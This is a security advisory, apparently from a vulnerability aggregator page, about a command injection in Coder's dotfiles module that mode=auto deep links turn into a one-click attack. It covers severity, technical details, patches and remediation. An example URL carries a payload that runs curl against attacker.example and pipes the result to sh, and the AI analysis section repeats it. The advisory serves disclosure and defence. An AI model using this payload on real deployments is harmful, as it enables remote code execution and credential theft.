Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
The amplified mode=auto path needs no attacker privileges (PR:N) but requires the victim to click a crafted link (UI:R); full workspace RCE yields C:H/I:H/A:H with scope unchanged.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
9DescriptionNVD
Command injection via dotfiles URI parameter combined with workspace auto-creation
Summary
The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.
Details
Command injection in the dotfiles module (root cause)
The dotfiles module interpolated the user-provided dotfiles_uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles_uri obtained arbitrary code execution in their workspace, even without mode=auto.
Auto-creation amplification (mode=auto)
The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles_uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.
Example URL:
https://<deployment>/templates/<template>/workspace?mode=auto¶m.dotfiles_uri=foo$(curl https://attacker.example/x | sh).comImpact
Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.
Patches
coder/registry (primary fix)
Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.
- https://github.com/coder/registry/pull/703
coder/coder (defense-in-depth)
A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.
- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011)
- Patched releases:
- v2.29.7 (ESR)
- v2.30.2 (mainline)
Recognition
We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy
AnalysisAI
Command injection leading to arbitrary code execution affects Coder's self-hosted developer workspace platform via the coder/registry dotfiles module, which interpolated the user-controlled dotfiles_uri into a shell script without validation. Combined with the Create Workspace page's mode=auto deep links, an attacker can craft a single URL that silently provisions a workspace with an attacker-supplied dotfiles_uri (e.g. foo$(curl attacker.example/x | sh).com), turning it into a one-click RCE against any authenticated user who clicks. CVSS is 8.8 (High) with EPSS at 2.28% (81st percentile); there is no public exploit identified and it is not in CISA KEV, though a proof-of-concept URL is documented in the advisory.
Technical ContextAI
The root cause is CWE-78 (OS Command Injection). Coder is a Terraform-driven platform that provisions cloud development workspaces, and templates can pull reusable modules from coder/registry. The dotfiles module wraps the coder dotfiles CLI, which itself safely uses Go's exec.CommandContext() with an argument array. The vulnerability was introduced one layer earlier: the module expanded the dotfiles_uri (and username) inside a shell script using unsafe eval/sh -c constructs, so shell metacharacters - command substitution $(...), backticks, and separators ;, |, && - were interpreted during shell expansion before the CLI was ever invoked. The affected code is the Go module github.com/coder/coder/v2 (CPE pkg:go/github.com_coder_coder_v2) plus the associated Terraform registry module. A second, orthogonal weakness in coder/coder - the mode=auto auto-creation flow accepting param.* values from the URL with no consent prompt - provided the delivery mechanism.
RemediationAI
Vendor-released patch: upgrade Coder to v2.29.7 (ESR) or v2.30.2 (mainline), which add a consent dialog that displays all prefilled param.* values and blocks creation until the user clicks Confirm and Create, removing the mode=auto one-click vector (commit 60e3ab7632f42415d283b9fd5622ee53a4639ceb, PR https://github.com/coder/coder/pull/22011). Additionally update the coder/registry dotfiles module to version 1.2.4, which adds regex validation rejecting dotfiles_uri/username values containing special characters and removes the unsafe eval/sh -c usage (PR https://github.com/coder/registry/pull/703); apply this even after the server upgrade since it fixes the injection at its source. If you cannot upgrade immediately, compensating controls include removing the dotfiles module from your Terraform templates (trade-off: users lose automated dotfiles provisioning), or pinning dotfiles_uri/default_dotfiles_uri to an operator-set fixed value so end users cannot supply arbitrary input, and advising users not to follow untrusted workspace-creation links to your deployment. Release notes: https://github.com/coder/coder/releases/tag/v2.29.7 and https://github.com/coder/coder/releases/tag/v2.30.2.
Same weakness CWE-78 – OS Command Injection
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-42087
GHSA-m3cr-vc2j-pm27